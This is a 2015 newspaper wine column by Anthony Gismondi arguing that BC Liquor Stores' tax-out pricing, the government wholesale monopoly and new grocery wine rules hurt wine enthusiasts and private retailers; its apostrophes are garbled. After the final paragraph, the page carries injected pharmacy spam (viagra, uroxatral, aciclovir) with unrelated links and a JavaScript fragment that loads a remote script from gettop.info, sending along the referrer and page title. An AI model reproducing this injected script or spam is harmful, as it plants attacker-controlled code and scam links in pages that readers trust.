Anthony Gismondi: Ita��s a bizarro wine world in B.C.


Anthony Gismondi

Ita��s been a summer of change for Vancouvera��s retail wine sector none of which is particularly good news for the wine enthusiast. The peoplea��s shop, BC Liquor Stores, is shedding its laissez faire retail image for a more aggressive, proactive sales strategy to take on the private sector. Of course, it helps to have the new BCLDB monopoly wholesale team looking out for your welfare as it sets the price of the competitiona��s product.

In B.C.a��s Bizarro wine world the governmenta��s new private stores (if that makes any sense) moved to tax out pricing, giving the illusion its prices had fallen by 15 per cent only to leave consumers totally bewildered at the cash register when the tax is added back in.

Ita��s also the first summer of grocery store wines sales. In keeping with the bizarre theme, the rules and regulations are a jigsaw puzzle of confusion that favour a handful of local producers and grocery stores at the expense of the entire market.

On the surface, the vast majority of casual drinkers wona��t notice any change, likely in the same way they didna��t notice the impact of the Vancouver International Wine Festival, what the original private wine only retailers brought to the table, or even the growth of this wine page over the last 27 years.

So much has happened in B.C. to foster a wine culture. Restaurants have prospered, food and wine tourism has grown exponentially and the biggest benefactor of all a�� the B.C. wine industry a�� has grown up amid all the mess, adding its weight to B.C.a��s wine culture.

All that is under attack in 2015, led by governmenta��s continued insistence on controlling the liquor business by shackling private operators with a wholesale system of rules and taxes that make no sense.

Worse, in some sort of alternate, upside-down world, the rules developed to level the retail playing field do not apply to government stores. Ita��s the kind of bullying you can get away with when you are the judge and jury, the wholesaler and the retailer. After the wholesale monopoly side of the BCLDB self-appointed itself as the sole provider of wine, beer and spirits to every restaurant in the province at no discount, its retail counterpart BC Liquor Stores got busy installing refrigerators (using public funds), and extended its operating days and hours to further compound its retail reach.

Again customers likely approve of more access, better hours and service, but why werena��t the same privileges given to the private sector retailers?

The new tax-out pricing system launched by government stores, which makes the highest prices in the country look 15 per cent cheaper, has forced every other retailer to follow suit, including most B.C. wineries. Consumers are not amused to find out that on average most of the wine they are buying is a minimum $2 more at the till. But thata��s not the worst of it. The 15 per cent price drop on the shelf makes it easy to raise the price of any wine because of the price confusion in the aisles.

Last year, the 2012 Domaine Christian Moreau Chablis 1er Cru Vaillon was $39.99 a bottle. This year the 2013 version is $39.99 on the shelf, but $45.98 at the till. Now some of that increase is the weak Canadian dollar but a lot of it is sleight of hand. If you can make an extra dollar or two on everything you sell and still display the same shelf price that is some pretty fancy retail.

This September, we will bring even more changes to BC Liquor Stores as they aggressively go after the low end of the market, something they said they would never do a few years ago. Using the clout of its 199 retail stores, and benefiting from its sister wholesale monopoly sidea��s ability to adjust the final retail price of any wine, BC Liquor stores will launch exclusive-only listings, many under $10.

Again, it should make a lot of consumers happy, unless of course you are a wine enthusiast or one of B.C.a��s many artisanal producers of wine, beer and spirits. names female viagra d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; purchase uroxatral mechanism http://sd4e.businessinnovationfactory.com/?p=19396 how to buy aciclovir tablets http://bricomed.ma/?p=1197

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